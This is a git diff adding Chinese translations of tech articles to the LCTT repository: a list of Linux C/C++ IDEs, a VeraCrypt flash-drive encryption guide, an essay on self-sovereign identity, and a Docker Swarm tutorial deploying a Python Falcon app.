在内的众多编程语言。 + +下面列出的是它众多功能的一部分: + +- 多文档界面 +- 支持递归打开文件,基于文件名通配模式或者内容模式 +- 提供一个非常强大的搜索和替换功能 +- 代码片段边栏 +- 支持整合个人的外部过滤器,可使用命令如 awk,sed,sort 以及自定义构建脚本组成(过滤器的)管道文件 +- 支持全屏编辑 +- 网站上传和下载 +- 支持多种编码等许多其他功能 + +![](http://www.tecmint.com/wp-content/uploads/2016/06/BlueFish-IDE-Editor-for-Linux.png) + +主页: + +### 6. Brackets 代码编辑器 + +Brackets 是一个现代化风格的、开源的文本编辑器,专为 Web 设计与开发打造。它可以通过插件进行高度扩展,因此 C/C++ 程序员通过安装 C/C++/Objective-C 包来使用它来开发,这个包用来在辅助 C/C++ 代码编写的同时提供了 IDE 之类的特性。 + +![](http://www.tecmint.com/wp-content/uploads/2016/06/Brackets-Code-Editor-for-Linux.png) + +主页: + +### 7. Atom 代码编辑器 + +Atom 也是一个现代化风格、开源的多平台文本编辑器,它能运行在 Linux、Windows 或是 Mac OS X 平台。它的定制可深入底层,用户可以自定义它,以便满足各种编写代码的需求。 + +它功能完整,主要的功能包括: + +- 内置了包管理器 +- 智能的自动补完 +- 内置文件浏览器 +- 查找、替换以及其他更多的功能 + +![](http://www.tecmint.com/wp-content/uploads/2016/06/Atom-Code-Editor-for-Linux.png) + +主页: + +安装指南: + +### 8. Sublime Text 编辑器 + +Sublime Text 是一个完善的、跨平台的文本编辑器,可用于代码、标记语言和一般文字。它可以用来编写 C/C++ 代码,并且提供了非常棒的用户界面。 + +它的功能列表包括: + +- 多重选择 +- 按模式搜索命令 +- 抵达任何一处的功能 +- 免打扰模式 +- 窗口分割 +- 支持项目之间快速的切换 +- 高度可定制 +- 支持基于 Python 的 API 插件以及其他特性 + +![](http://www.tecmint.com/wp-content/uploads/2016/06/Sublime-Code-Editor-for-Linux.png) + +主页: + +安装指南: + +### 9. JetBrains CLion + +JetBrains CLion 是一个收费的、强大的跨平台 C/C++ IDE。它是一个完全整合的 C/C++ 程序开发环境,并提供 Cmake 项目模型、一个嵌入式终端窗口和一个主要以键盘操作的编码环境。 + +它还提供了一个智能而现代化的编辑器,具有许多令人激动的功能,提供了理想的编码环境,这些功能包括: + +- 除了 C/C++ 还支持其他多种语言 +- 在符号声明和上下文中轻松导航 +- 代码生成和重构 +- 可定制的编辑器 +- 即时代码分析 +- 集成的代码调试器 +- 支持 Git、Subversion、Mercurial、CVS、Perforcevia(通过插件)和 TFS +- 无缝集成了 Google 测试框架 +- 通过 Vim 仿真插件支持 Vim 编辑体验 + +![](http://www.tecmint.com/wp-content/uploads/2016/06/JetBains-CLion-IDE.png) + +主页: + +### 10. 微软的 Visual Studio Code 编辑器 + +Visual Studio 是一个功能丰富的、完全整合的、跨平台开发环境,运行在 Linux、Windows 和 Mac OS X 上。 最近它向 Linux 用户开源了,它重新定义了代码编辑这件事,为用户提供了在 Windows、Android、iOS 和 Web 等多个平台开发不同应用所需的一切工具。 + +它功能完备,功能分类为应用程序开发、应用生命周期管理、扩展和集成特性。你可以从 Visual Studio 官网阅读全面的功能列表。 + +![](http://www.tecmint.com/wp-content/uploads/2016/06/Visual-Studio-Code-Editor.png) + +主页: + +### 11. KDevelop + +KDevelop 是另一个自由而开源的跨平台 IDE,能够运行在 Linux、Solaris、FreeBSD、Windows、Mac OS X 和其他类 Unix 操作系统上。它基于 KDevPlatform、KDE 和 Qt 库。KDevelop 可以通过插件高度扩展,功能丰富且具有以下显著特色: + +- 支持基于 Clang 的 C/C++ 插件 +- 支持 KDE 4 配置迁移 +- 支持调用二进制编辑器 Oketa +- 支持众多视图插件下的差异行编辑 +- 支持 Grep 视图,使用窗口小部件节省垂直空间等 + +![](http://www.tecmint.com/wp-content/uploads/2016/06/KDevelop-IDE-Editor.png) + +主页: + +### 12. Geany IDE + +Geany 是一个免费的、快速的、轻量级跨平台 IDE,只需要很少的依赖包就可以工作,独立于流行的 Linux 桌面环境下,比如 GNOME 和 KDE。它需要 GTK2 库实现功能。 + +它的特性包括以下列出的内容: + +- 支持语法高亮显示 +- 代码折叠 +- 调用提示 +- 符号名自动补完 +- 符号列表 +- 代码导航 +- 一个简单的项目管理工具 +- 可以编译并运行用户代码的内置系统 +- 可以通过插件扩展 + +![](http://www.tecmint.com/wp-content/uploads/2016/06/Geany-IDE-for-Linux.png) + +主页: + +### 13. Ajunta DeveStudio + +Ajunta DevStudio 是一个简单,强大的 GNOME 界面的软件开发工作室,支持包括 C/C++ 在内的几种编程语言。 + +它提供了先进的编程工具,比如项目管理、GUI 设计、交互式调试器、应用程序向导、源代码编辑器、版本控制等。此外,除了以上特点,Ajunta DeveStudio 也有其他很多不错的 IDE 功能,包括: + +- 简单的用户界面 +- 可通过插件扩展 +- 整合了 Glade 用于所见即所得的 UI 开发 +- 项目向导和模板 +- 整合了 GDB 调试器 +- 内置文件管理器 +- 使用 DevHelp 提供上下文敏感的编程辅助 +- 源代码编辑器支持语法高亮显示、智能缩进、自动缩进、代码折叠/隐藏、文本缩放等 + +![](http://www.tecmint.com/wp-content/uploads/2016/06/Anjuta-DevStudio-for-Linux.png) + +主页: + +### 14. GNAT Programming Studio + +GNAT Programming Studio 是一个免费的、易于使用的 IDE,设计的目的用于统一开发人员与他/她的代码和软件之间的交互。 + +它通过高亮程序的重要部分和逻辑从而提升源代码导航体验,打造了一个理想的编程环境。它的设计目标是为你带来更舒适的编程体验,使用户能够从头开始开发全面的系统。 + +它丰富的特性包括以下这些: + +- 直观的用户界面 +- 对开发者的友好性 +- 支持多种编程语言,跨平台 +- 灵活的 MDI(多文档界面) +- 高度可定制 +- 使用喜欢的工具获得全面的可扩展性 + +![](http://www.tecmint.com/wp-content/uploads/2016/06/GNAT-Programming-Studio.jpg) + +主页: + +### 15. Qt Creator + +这是一款收费的、跨平台的 IDE,用于创建连接设备、用户界面和应用程序。Qt Creator 可以让用户比应用的编码做到更多的创新。 + +它可以用来创建移动和桌面应用程序,也可以连接到嵌入式设备。 + +它的优点包含以下几点: + +- 复杂的代码编辑器 +- 支持版本控制 +- 项目和构建管理工具 +- 支持多屏幕和多平台,易于构建目标之间的切换等等 + +![](http://www.tecmint.com/wp-content/uploads/2016/06/Qt-Creator.png) + +主页: + +### 16. Emacs 编辑器 + +Emacs 是一个自由的、强大的、可高度扩展的、可定制的、跨平台文本编辑器,你可以在 Linux、Solaris、FreeBSD、NetBSD、OpenBSD、Windows 和 Mac OS X 这些系统中使用该编辑器。 + +Emacs 的核心也是一个 Emacs Lisp 的解释器,Emacs Lisp 是一种基于 Lisp 的编程语言。在撰写本文时,GNU Emacs 的最新版本是 24.5,Emacs 的基本功能包括: + +- 内容识别编辑模式 +- Unicode 的完全支持 +- 可使用 GUI 或 Emacs Lisp 代码高度定制 +- 下载和安装扩展的打包系统 +- 超出了正常文本编辑的功能生态系统,包括项目策划、邮件、日历和新闻阅读器等 +- 完整的内置文档,以及用户指南等等 + +![](http://www.tecmint.com/wp-content/uploads/2016/06/Emacs-Editor.png) + +主页: https://www.gnu.org/software/emacs/ + +### 17. VI/VIM 编辑器 + +Vim,一款 VI 编辑器的改进版本,是一款自由的、强大的、流行的并且高度可配置的文本编辑器。它为有效率地文本编辑而生,并且为 Unix/Linux 使用者提供了激动人心的编辑器特性,因此,它对于撰写和编辑 C/C++ 代码也是一个好的选择。 + +总的来说,与传统的文本编辑器相比,IDE 为编程提供了更多的便利,因此使用它们是一个很好的选择。它们带有激动人心的特征并且提供了一个综合性的开发环境,有时候程序员不得不陷入对最好的 C/C++ IDE 的选择。 + +在互联网上你还可以找到许多 IDE 来下载,但不妨试试我们推荐的这几款,可以帮助你尽快找到哪一款是你需要的。 + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/best-linux-ide-editors-source-code-editors/ + +作者:[Aaron Kili][a] +译者:[ZenMoore](https://github.com/ZenMoore) ,[LiBrad](https://github.com/LiBrad) ,[WangYueScream](https://github.com/WangYueScream) ,[LemonDemo](https://github.com/LemonDemo) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: http://www.tecmint.com/author/aaronkili/ +[1]: http://www.tecmint.com/debug-source-code-in-linux-using-gdb/ diff --git a/published/201608/20160705 How to Encrypt a Flash Drive Using VeraCrypt.md b/published/201608/20160705 How to Encrypt a Flash Drive Using VeraCrypt.md new file mode 100644 index 0000000000..71a2e01a24 --- /dev/null +++ b/published/201608/20160705 How to Encrypt a Flash Drive Using VeraCrypt.md @@ -0,0 +1,100 @@ +用 VeraCrypt 加密闪存盘 +============================================ + +很多安全专家偏好像 VeraCrypt 这类能够用来加密闪存盘的开源软件,是因为可以获取到它的源代码。 + +保护 USB 闪存盘里的数据,加密是一个聪明的方法,正如我们在使用 Microsoft 的 BitLocker [加密闪存盘][1] 一文中提到的。 + +但是如果你不想用 BitLocker 呢? + +你可能有顾虑,因为你不能够查看 Microsoft 的程序源码,那么它容易被植入用于政府或其它用途的“后门”。而由于开源软件的源码是公开的,很多安全专家认为开源软件很少藏有后门。 + +还好,有几个开源加密软件能作为 BitLocker 的替代。 + +要是你需要在 Windows 系统,苹果的 OS X 系统或者 Linux 系统上加密以及访问文件,开源软件 [VeraCrypt][2] 提供绝佳的选择。 + +VeraCrypt 源于 TrueCrypt。TrueCrypt 是一个备受好评的开源加密软件,尽管它现在已经停止维护了。但是 TrueCrypt 的代码通过了审核,没有发现什么重要的安全漏洞。另外,在 VeraCrypt 中对它进行了改善。 + +Windows,OS X 和 Linux 系统的版本都有。 + +用 VeraCrypt 加密 USB 闪存盘不像用 BitLocker 那么简单,但是它也只要几分钟就好了。 + +### 用 VeraCrypt 加密闪存盘的 8 个步骤 + +对应你的操作系统 [下载 VeraCrypt][3] 之后: + +打开 VeraCrypt,点击 Create Volume,进入 VeraCrypt 的创建卷的向导程序(VeraCrypt Volume Creation Wizard)。 + +![](http://www.esecurityplanet.com/imagesvr_ce/6246/Vera0.jpg) + +VeraCrypt 创建卷向导(VeraCrypt Volume Creation Wizard)允许你在闪存盘里新建一个加密文件容器,这与其它未加密文件是独立的。或者你也可以选择加密整个闪存盘。这个时候你就选加密整个闪存盘就行。 + +![](http://www.esecurityplanet.com/imagesvr_ce/6703/Vera1.jpg) + +然后选择标准模式(Standard VeraCrypt Volume)。 + +![](http://www.esecurityplanet.com/imagesvr_ce/835/Vera2.jpg) + +选择你想加密的闪存盘的驱动器卷标(这里是 O:)。 + +![](http://www.esecurityplanet.com/imagesvr_ce/9427/Vera3.jpg) + +选择创建卷模式(Volume Creation Mode)。如果你的闪存盘是空的,或者你想要删除它里面的所有东西,选第一个。要么你想保持所有现存的文件,选第二个就好了。 + +![](http://www.esecurityplanet.com/imagesvr_ce/7828/Vera4.jpg) + +这一步允许你选择加密选项。要是你不确定选哪个,就用默认的 AES 和 SHA-512 设置。 + +![](http://www.esecurityplanet.com/imagesvr_ce/5918/Vera5.jpg) + +确定了卷容量后,输入并确认你想要用来加密数据密码。 + +![](http://www.esecurityplanet.com/imagesvr_ce/3850/Vera6.jpg) + +要有效工作,VeraCrypt 要从一个熵或者“随机数”池中取出一个随机数。要初始化这个池,你将被要求随机地移动鼠标一分钟。一旦进度条变绿了,或者更方便的是等到进度条到了屏幕右边足够远的时候,点击 “Format” 来结束创建加密盘。 + +![](http://www.esecurityplanet.com/imagesvr_ce/7468/Vera8.jpg) + +### 用 VeraCrypt 使用加密过的闪存盘 + +当你想要使用一个加密了的闪存盘,先插入闪存盘到电脑上,启动 VeraCrypt。 + +然后选择一个没有用过的卷标(比如 z:),点击自动挂载设备(Auto-Mount Devices)。 + +![](http://www.esecurityplanet.com/imagesvr_ce/2016/Vera10.jpg) + +输入密码,点击确定。 + +![](http://www.esecurityplanet.com/imagesvr_ce/8222/Vera11.jpg) + +挂载过程需要几分钟,这之后你的解密盘就能通过你先前选择的盘符进行访问了。 + +### VeraCrypt 移动硬盘安装步骤 + +如果你设置闪存盘的时候,选择的是加密过的容器而不是加密整个盘,你可以选择创建 VeraCrypt 称为移动盘(Traveler Disk)的设备。这会复制安装一个 VeraCrypt 到 USB 闪存盘。当你在别的 Windows 电脑上插入 U 盘时,就能从 U 盘自动运行 VeraCrypt;也就是说没必要在新电脑上安装 VeraCrypt。 + +你可以设置闪存盘作为一个移动硬盘(Traveler Disk),在 VeraCrypt 的工具栏(Tools)菜单里选择 Traveler Disk SetUp 就行了。 + +![](http://www.esecurityplanet.com/imagesvr_ce/5812/Vera12.jpg) + +要从移动盘(Traveler Disk)上运行 VeraCrypt,你必须要有那台电脑的管理员权限,这不足为奇。尽管这看起来是个限制,机密文件无法在不受控制的电脑上安全打开,比如在一个商务中心的电脑上。 + +> 本文作者 Paul Rubens 从事技术行业已经超过 20 年。这期间他为英国和国际主要的出版社,包括 《The Economist》《The Times》《Financial Times》《The BBC》《Computing》和《ServerWatch》等出版社写过文章, + +-------------------------------------------------------------------------------- + +via: http://www.esecurityplanet.com/open-source-security/how-to-encrypt-flash-drive-using-veracrypt.html + +作者:[Paul Rubens][a] +译者:[GitFuture](https://github.com/GitFuture) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: http://www.esecurityplanet.com/author/3700/Paul-Rubens +[1]: http://www.esecurityplanet.com/views/article.php/3880616/How-to-Encrypt-a-USB-Flash-Drive.htm +[2]: http://www.esecurityplanet.com/open-source-security/veracrypt-a-worthy-truecrypt-alternative.html +[3]: https://veracrypt.codeplex.com/releases/view/619351 + + + diff --git a/published/201608/20160706 Doing for User Space What We Did for Kernel Space.md b/published/201608/20160706 Doing for User Space What We Did for Kernel Space.md new file mode 100644 index 0000000000..f9dfb89593 --- /dev/null +++ b/published/201608/20160706 Doing for User Space What We Did for Kernel Space.md @@ -0,0 +1,98 @@ +在用户空间做我们会在内核空间做的事情 +======================================================= + +我相信,Linux 最好也是最坏的事情,就是内核空间(kernel space)和用户空间(user space)之间的巨大差别。 + +如果没有这个区别,Linux 可能也不会成为世界上影响力最大的操作系统。如今,Linux 的使用范围在世界上是最大的,而这些应用又有着世界上最大的用户群——尽管大多数用户并不知道,当他们进行谷歌搜索或者触摸安卓手机的时候,他们其实正在使用 Linux。如果不是 Linux 的巨大成功,Apple 公司也可能并不会成为现在这样(即在他们的电脑产品中使用 BSD 的技术)(LCTT 译注:Linux 获得成功后,Apple 曾与 Linus 协商使用 Linux 核心作为 Apple 电脑的操作系统并帮助开发的事宜,但遭到拒绝。因此,Apple 转向使用许可证更为宽松的 BSD 。)。 + +不(需要)关注用户空间是 Linux 内核开发中的一个特点而非缺陷。正如 Linus 在 2003 年的[极客巡航(Geek Cruise)][18]中提到的那样,“我只做内核相关的东西……我并不知道内核之外发生的事情,而且我也并不关心。我只关注内核部分发生的事情。” 多年之后的[另一次极客巡航][19]上, Andrew Morton 给我上了另外的一课,这之后我写道: + +> 内核空间是Linux 所在的地方,而用户空间是 Linux 与其它的“自然材料”一起使用的地方。内核空间和用户空间的区别,和自然材料与人类用其生产的人造材料的区别很类似。 + +这个区别是自然而然的结果,就是尽管外面的世界一刻也离不开 Linux, 但是 Linux 社区还是保持相对较小。所以,为了增加哪怕一点我们社区团体的规模,我希望指出两件事情。第一件已经非常火了,另外一件可能会火起来。 + +第一件事情就是 [区块链(blockchain)][1],出自著名的分布式货币——比特币之手。当你正在阅读这篇文章的同时,人们对区块链的[关注度正在直线上升][2]。 + +![](http://www.linuxjournal.com/files/linuxjournal.com/ufiles/imagecache/large-550px-centered/u1000009/12042f1.png) + +*图1. 区块链的谷歌搜索趋势* + +第二件事就是自主身份(self-sovereign identity)。为了解释这个概念,让我先来问你:你是谁,你来自哪里? + +如果你从你的老板、你的医生或者车管所,Facebook、Twitter 或者谷歌上得到答案,你就会发现它们都是行政身份(administrative identifiers)——这些机构完全以自己的便利为原因设置这些身份和职位。正如一家区块链技术公司 [Evernym][3] 的 Timothy Ruff 所说,“你并不因组织而存在,但你的身份却因此存在。”身份是个因变量。自变量——即控制着身份的变量——是(你所在的)组织。 + +如果你的答案出自你自己,我们就有一个广大空间来发展一个新的领域,在这个领域中,我们完全自由。 + +据我所知,第一个解释这个的人是 [Devon Loffreto][4]。在 2012 年 2 月,他在博客 [Moxy Tongue][5] 中写道:“什么是 'Sovereign Source Authority'?”。在发表于 2016 年 2 月的 “[Self-Sovereign Identity][6]” 一文中,他写道: + +> 自主身份必须是独立个人提出的,并且不包含社会因素……自主身份源于每个个体对其自身本源的认识。 一个自主身份可以为个体带来新的社会面貌。每个个体都可能为自己生成一个自主身份,并且这并不会改变固有的人权。使用自主身份机制是所有参与者参与的基石,并且依旧可以同各种形式的人类社会保持联系。 + +将这个概念放在 Linux 领域中,只有个人才能为他或她设定一个自己的开源社区身份。这在现实实践中,这只是一个非常正常的事件。举个例子,我自己的身份包括: + +- David Allen Searls,我父母会这样叫我。 +- David Searls,正式场合下我会这么称呼自己。 +- Dave,我的亲戚和好朋友会这么叫我。 +- Doc,大多数人会这么叫我。 + +作为承认以上称呼的自主身份来源,我可以在不同的情景中轻易的转换。但是,这只是在现实世界中。在虚拟世界中,这就变得非常困难。除了上述的身份之外,我还可以是 @dsearls (我的 twitter 账号) 和 dsearls (其他的网络账号)。然而为了记住成百上千的不同账号的登录名和密码,我已经不堪重负。 + +你可以在你的浏览器上感受到这个糟糕的体验。在火狐上,我有成百上千个用户名密码。很多已经废弃(很多都是从 Netscape 时代遗留下来的),但是我想会有大量的工作账号需要处理。对于这些,我只是被动接受者。没有其他的解决方法。甚至一些安全较低的用户认证,已经成为了现实世界中不可缺少的一环。 + +现在,最简单的方式来联系账号,就是通过 “Log in with Facebook” 或者 “Login in with Twitter” 来进行身份认证。在这种情况下,我们中的每一个甚至并不是真正意义上的自己,甚至(如果我们希望被其他人认识的话)缺乏对其他实体如何认识我们的控制。 + +我们从一开始就需要的是一个可以实体化我们的自主身份和交流时选择如何保护和展示自身的个人系统。因为缺少这个能力,我们现在陷入混乱。Shoshana Zuboff 称之为 “监视资本主义”,她如此说道: + +>...难以想象,在见证了互联网和获得了的巨大成功的谷歌背后。世界因 Apple 和 FBI 的对决而紧密联系在一起。讲道理,热衷于监视的资本家开发的监视系统是每一个国家安全机构都渴望的。 + +然后,她问道,”我们怎样才能保护自己远离他人的影响?“ + +我建议使用自主身份。我相信这是我们唯一的既可以保证我们从监视中逃脱、又可以使我们有一个有序的世界的办法。以此为基础,我们才可以完全无顾忌地和社会,政治,商业上的人交流。 + +我在五月联合国举行的 [ID2020][7] 会议中总结了这个临时的结论。很高兴,Devon Loffreto 也在那,他于 2013 年推动了自主身份的创立。这是[我那时写的一些文章][8],引用了 Devon 的早期博客(比如上面的原文)。 + +这有三篇这个领域的准则: + +- "[Self-Sovereign Identity][9]" - Devon Loffreto. +- "[System or Human First][10]" - Devon Loffreto. +- "[The Path to Self-Sovereign Identity][11]" - Christopher Allen. + +从 Evernym 的简要说明中,[digi.me][12]、 [iRespond][13] 和 [Respect Network][14] 也被包括在内。自主身份和社会身份 (也被称为“当前模式(current model)”) 的对比结果,显示在图二中。 + +![](http://www.linuxjournal.com/files/linuxjournal.com/ufiles/imagecache/large-550px-centered/u1000009/12042f2.jpg) + +*图 2. 当前模式身份 vs. 自主身份* + +Sovrin 就是为此而生的[平台][15],它阐述自己为一个“依托于先进、专用、经授权、分布式平台的,完全开源、基于标识的身份声明图平台”。同时,这也有一本[白皮书][16]。它的代码名为 [plenum][17],并且公开在 Github 上。 + +在这里——或者其他类似的地方——我们就可以在用户空间中重现我们在过去 25 年中在内核空间做过的事情。 + +-------------------------------------------------------------------------------- + +via: https://www.linuxjournal.com/content/doing-user-space-what-we-did-kernel-space + +作者:[Doc Searls][a] +译者:[MikeCoder](https://github.com/MikeCoder) +校对:[PurlingNayuki](https://github.com/PurlingNayuki) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.linuxjournal.com/users/doc-searls +[1]: https://en.wikipedia.org/wiki/Block_chain_%28database%29 +[2]: https://www.google.com/trends/explore#q=blockchain +[3]: http://evernym.com/ +[4]: https://twitter.com/nzn +[5]: http://www.moxytongue.com/2012/02/what-is-sovereign-source-authority.html +[6]: http://www.moxytongue.com/2016/02/self-sovereign-identity.html +[7]: http://www.id2020.org/ +[8]: http://blogs.harvard.edu/doc/2013/10/14/iiw-challenge-1-sovereign-identity-in-the-great-silo-forest +[9]: http://www.moxytongue.com/2016/02/self-sovereign-identity.html +[10]: http://www.moxytongue.com/2016/05/system-or-human.html +[11]: http://www.lifewithalacrity.com/2016/04/the-path-to-self-soverereign-identity.html +[12]: https://get.digi.me/ +[13]: http://irespond.com/ +[14]: https://www.respectnetwork.com/ +[15]: http://evernym.com/technology +[16]: http://evernym.com/assets/doc/Identity-System-Essentials.pdf?v=167284fd65 +[17]: https://github.com/evernym/plenum +[18]: http://www.linuxjournal.com/article/6427 +[19]: http://www.linuxjournal.com/article/8664 \ No newline at end of file diff --git a/published/201608/20160706 Getting started with Docker Swarm and deploying a replicated Python 3 Application.md b/published/201608/20160706 Getting started with Docker Swarm and deploying a replicated Python 3 Application.md new file mode 100644 index 0000000000..36b0cbd7c4 --- /dev/null +++ b/published/201608/20160706 Getting started with Docker Swarm and deploying a replicated Python 3 Application.md @@ -0,0 +1,279 @@ +使用 Docker Swarm 部署可扩展的 Python3 应用 +============== + +[Ben Firshman][2] 最近在 [Dockercon][1] 做了一个关于使用 Docker 构建无服务应用的演讲,你可以在[这里查看详情][3](还有视频)。之后,我写了一篇关于如何使用 [AWS Lambda][5] 构建微服务系统的[文章][4]。 + +今天,我想展示给你的就是如何使用 [Docker Swarm][6] 部署一个简单的 Python Falcon REST 应用。这里我不会使用[dockerrun][7] 或者是其他无服务特性,你可能会惊讶,使用 Docker Swarm 部署(复制)一个 Python(Java、Go 都一样)应用是如此的简单。 + +注意:这展示的部分步骤是截取自 [Swarm Tutorial][8],我已经修改了部分内容,并且[增加了一个 Vagrant Helper 的仓库][9]来启动一个可以让 Docker Swarm 工作起来的本地测试环境。请确保你使用的是 1.12 或以上版本的 Docker Engine。我写这篇文章的时候,使用的是 1.12RC2 版本。注意的是,这只是一个测试版本,可能还会有修改。 + +你要做的第一件事,就是如果你想本地运行的话,你要保证 [Vagrant][10] 已经正确的安装和运行了。你也可以按如下步骤使用你最喜欢的云服务提供商部署 Docker Swarm 虚拟机系统。 + +我们将会使用这三台 VM:一个简单的 Docker Swarm 管理平台和两台 worker。 + +安全注意事项:Vagrantfile 代码中包含了部分位于 Docker 测试服务器上的 shell 脚本。这是一个潜在的安全问题,它会运行你不能控制的脚本,所以请确保你会在运行代码之前[审查过这部分的脚本][11]。 + +``` +$ git clone https://github.com/chadlung/vagrant-docker-swarm +$ cd vagrant-docker-swarm +$ vagrant plugin install vagrant-vbguest +$ vagrant up +``` + +Vagrant up 命令需要一些时间才能完成。 + +SSH 登陆进入 manager1 虚拟机: + +``` +$ vagrant ssh manager1 +``` + +在 manager1 的 ssh 终端会话中执行如下命令: + +``` +$ sudo docker swarm init --listen-addr 192.168.99.100:2377 +``` + +现在还没有 worker 注册上来: + +``` +$ sudo docker node ls +``` + +让我们注册两个新的 worker,请打开两个新的终端会话(保持 manager1 会话继续运行): + +``` +$ vagrant ssh worker1 +``` + +在 worker1 的 ssh 终端会话上执行如下命令: + +``` +$ sudo docker swarm join 192.168.99.100:2377 +``` + +在 worker2 的 ssh 终端会话上重复这些命令。 + +在 manager1 终端上执行如下命令: + +``` +$ docker node ls +``` + +你将会看到: + +![](http://www.giantflyingsaucer.com/blog/wp-content/uploads/2016/06/Screen-Shot-2016-06-28-at-3.15.25-PM.png) + +在 manager1 的终端里部署一个简单的服务。 + +``` +sudo docker service create --replicas 1 --name pinger alpine ping google.com +``` + +这个命令将会部署一个服务,它会从 worker 之一 ping google.com。(或者 manager,manager 也可以运行服务,不过如果你只是想 worker 运行容器的话,[也可以禁用这一点][12])。可以使用如下命令,查看哪些节点正在执行服务: + +``` +$ sudo docker service tasks pinger +``` + +结果会和这个比较类似: + +![](http://www.giantflyingsaucer.com/blog/wp-content/uploads/2016/06/Screen-Shot-2016-06-28-at-5.23.05-PM.png) + +所以,我们知道了服务正跑在 worker1 上。我们可以回到 worker1 的会话里,然后进入正在运行的容器: + +``` +$ sudo docker ps +``` + +![](http://www.giantflyingsaucer.com/blog/wp-content/uploads/2016/06/Screen-Shot-2016-06-28-at-5.25.02-PM.png) + +你可以看到容器的 id 是: ae56769b9d4d,在我的例子中,我运行如下的代码: + +``` +$ sudo docker attach ae56769b9d4d +``` + +![](http://www.giantflyingsaucer.com/blog/wp-content/uploads/2016/06/Screen-Shot-2016-06-28-at-5.26.49-PM.png) + +你可以按下 CTRL-C 来停止服务。 + +回到 manager1,然后移除这个 pinger 服务。 + +``` +$ sudo docker service rm pinger +``` + +现在,我们将会部署可复制的 Python 应用。注意,为了保持文章的简洁,而且容易复制,所以部署的是一个简单的应用。 + +你需要做的第一件事就是将镜像放到 [Docker Hub][13]上,或者使用我[已经上传的一个][14]。这是一个简单的 Python 3 Falcon REST 应用。它有一个简单的入口: /hello 带一个 value 参数。 + +放在 [chadlung/hello-app][15] 上的 Python 代码看起来像这样: + +``` +import json +from wsgiref import simple_server + +import falcon + + +class HelloResource(object): + def on_get(self, req, resp): + try: + value = req.get_param('value') + + resp.content_type = 'application/json' + resp.status = falcon.HTTP_200 + resp.body = json.dumps({'message': str(value)}) + except Exception as ex: + resp.status = falcon.HTTP_500 + resp.body = str(ex) + + +if __name__ == '__main__': + app = falcon.API() + hello_resource = HelloResource() + app.add_route('/hello', hello_resource) + httpd = simple_server.make_server('0.0.0.0', 8080, app) + httpd.serve_forever() +``` + +Dockerfile 很简单: + +``` +FROM python:3.4.4 + +RUN pip install -U pip +RUN pip install -U falcon + +EXPOSE 8080 + +COPY . /hello-app +WORKDIR /hello-app + +CMD ["python", "app.py"] +``` + +上面表示的意思很简单,如果你想,你可以在本地运行该进行来访问这个入口: + +这将返回如下结果: + +``` +{"message": "Fred"} +``` + +在 Docker Hub 上构建和部署这个 hello-app(修改成你自己的 Docker Hub 仓库或者[使用这个][15]): + +``` +$ sudo docker build . -t chadlung/hello-app:2 +$ sudo docker push chadlung/hello-app:2 +``` + +现在,我们可以将应用部署到之前的 Docker Swarm 了。登录 manager1 的 ssh 终端会话,并且执行: + +``` +$ sudo docker service create -p 8080:8080 --replicas 2 --name hello-app chadlung/hello-app:2 +$ sudo docker service inspect --pretty hello-app +$ sudo docker service tasks hello-app +``` + +现在,我们已经可以测试了。使用任何一个 Swarm 节点的 IP 来访问 /hello 入口。在本例中,我在 manager1 的终端里使用 curl 命令: + +注意,Swarm 中的所有的 IP 都可以,不管这个服务是运行在一台还是更多的节点上。 + +``` +$ curl -v -X GET "http://192.168.99.100:8080/hello?value=Chad" +$ curl -v -X GET "http://192.168.99.101:8080/hello?value=Test" +$ curl -v -X GET "http://192.168.99.102:8080/hello?value=Docker" +``` + +结果: + +``` +* Hostname was NOT found in DNS cache +* Trying 192.168.99.101... +* Connected to 192.168.99.101 (192.168.99.101) port 8080 (#0) +> GET /hello?value=Chad HTTP/1.1 +> User-Agent: curl/7.35.0 +> Host: 192.168.99.101:8080 +> Accept: */* +> +* HTTP 1.0, assume close after body +< HTTP/1.0 200 OK +< Date: Tue, 28 Jun 2016 23:52:55 GMT +< Server: WSGIServer/0.2 CPython/3.4.4 +< content-type: application/json +< content-length: 19 +< +{"message": "Chad"} +``` + +从浏览器中访问其他节点: + +![](http://www.giantflyingsaucer.com/blog/wp-content/uploads/2016/06/Screen-Shot-2016-06-28-at-6.54.31-PM.png) + +如果你想看运行的所有服务,你可以在 manager1 节点上运行如下代码: + +``` +$ sudo docker service ls +``` + +如果你想添加可视化控制平台,你可以安装 [Docker Swarm Visualizer][16](这对于展示非常方便)。在 manager1 的终端中执行如下代码: + +``` +$ sudo docker run -it -d -p 5000:5000 -e HOST=192.168.99.100 -e PORT=5000 -v /var/run/docker.sock:/var/run/docker.sock manomarks/visualizer) +``` + +打开你的浏览器,并且访问: + +结果如下(假设已经运行了两个 Docker Swarm 服务): + +![](http://www.giantflyingsaucer.com/blog/wp-content/uploads/2016/06/Screen-Shot-2016-06-30-at-2.37.28-PM.png) + +要停止运行 hello-app(已经在两个节点上运行了),可以在 manager1 上执行这个代码: + +``` +$ sudo docker service rm hello-app +``` + +如果想停止 Visualizer, 那么在 manager1 的终端中执行: + +``` +$ sudo docker ps +``` + +获得容器的 ID,这里是: f71fec0d3ce1,从 manager1 的终端会话中执行这个代码: + +``` +$ sudo docker stop f71fec0d3ce1 +``` + +祝你成功使用 Docker Swarm。这篇文章主要是以 1.12 版本来进行描述的。 + +-------------------------------------------------------------------------------- + +via: http://www.giantflyingsaucer.com/blog/?p=5923 + +作者:[Chad Lung][a] +译者:[MikeCoder](https://github.com/MikeCoder) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: http://www.giantflyingsaucer.com/blog/?author=2 +[1]: http://dockercon.com/ +[2]: https://blog.docker.com/author/bfirshman/ +[3]: https://blog.docker.com/author/bfirshman/ +[4]: http://www.giantflyingsaucer.com/blog/?p=5730 +[5]: https://aws.amazon.com/lambda/ +[6]: https://docs.docker.com/swarm/ +[7]: https://github.com/bfirsh/dockerrun +[8]: https://docs.docker.com/engine/swarm/swarm-tutorial/ +[9]: https://github.com/chadlung/vagrant-docker-swarm +[10]: 